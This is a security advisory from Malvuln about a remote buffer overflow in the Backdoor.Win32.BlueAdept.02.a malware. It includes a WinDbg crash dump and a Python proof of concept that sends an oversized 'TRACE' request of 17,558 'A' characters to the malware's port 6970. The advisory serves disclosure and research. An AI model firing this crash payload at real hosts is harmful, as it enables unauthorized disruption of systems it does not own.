Backdoor.Win32.BlueAdept.02.a malware suffers from a buffer overflow vulnerability.
956ad602971bce4c484161173c2a53d7Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/694d21679cc212c59515584d1b65dc84.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.BlueAdept.02.a
Vulnerability: Remote Buffer Overflow
Description: The malware listens on TCP port 6969, after connecting to the infected host TCP ports 6970, 6971 are then opened. The newly opened port 6970 is vulnerable allowing third party attackers who can reach an infected host ability to trigger a buffer overflow overwriting EAX, ECX and EDX registers.
Type: PE32
MD5: 694d21679cc212c59515584d1b65dc84
Vuln ID: MVID-2021-0408
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 11/21/2021
Memory Dump:
(1a34.157c): Access violation - code c0000005 (first/second chance not available)
eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014 edi=0045e610
eip=00401c62 esp=000a141c ebp=0045e614 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
*** WARNING: Unable to verify checksum for Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62:
00401c62 8902 mov dword ptr [edx],eax ds:002b:41414141=????????
0:000> .ecxr
eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014 edi=0045e610
eip=00401c62 esp=000a141c ebp=0045e614 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62:
00401c62 8902 mov dword ptr [edx],eax ds:002b:41414141=????????
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62
00401c62 8902 mov dword ptr [edx],eax
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401c62 (Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x00001c62)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414141
Attempt to write to address 41414141
PROCESS_NAME: Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62
00401c62 8902 mov dword ptr [edx],eax
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 0000157c
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141
IP_ON_HEAP: 0423fffc
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
FRAME_ONE_INVALID: 1
LAST_CONTROL_TRANSFER: from 0423fffc to 00401c62
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0045e614 0423fffc 02563ae8 02561754 02561774 Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62
00000000 00000000 00000000 00000000 00000000 0x423fffc
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84
IMAGE_NAME: Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb
FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62
Exploit/PoC:
from socket import *
import time
MALWARE_HOST="x.x.x.x"
PORT=6969
PORT2=6970 #vuln port
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
time.sleep(1)
print("[+] Opened vulnerable port!")
s.close()
PAYLOAD="TRACE /"+"A"*17558+ " HTTP/1.1\r\n\r\n"
s2=socket(AF_INET, SOCK_STREAM)
s2.connect((MALWARE_HOST, PORT2))
print("[+] Sending malicious packets!")
for i in range(0, 10):
s2.send(PAYLOAD)
time.sleep(0.2)
s2.close()
if __name__=="__main__":
doit()
print("Malvuln")
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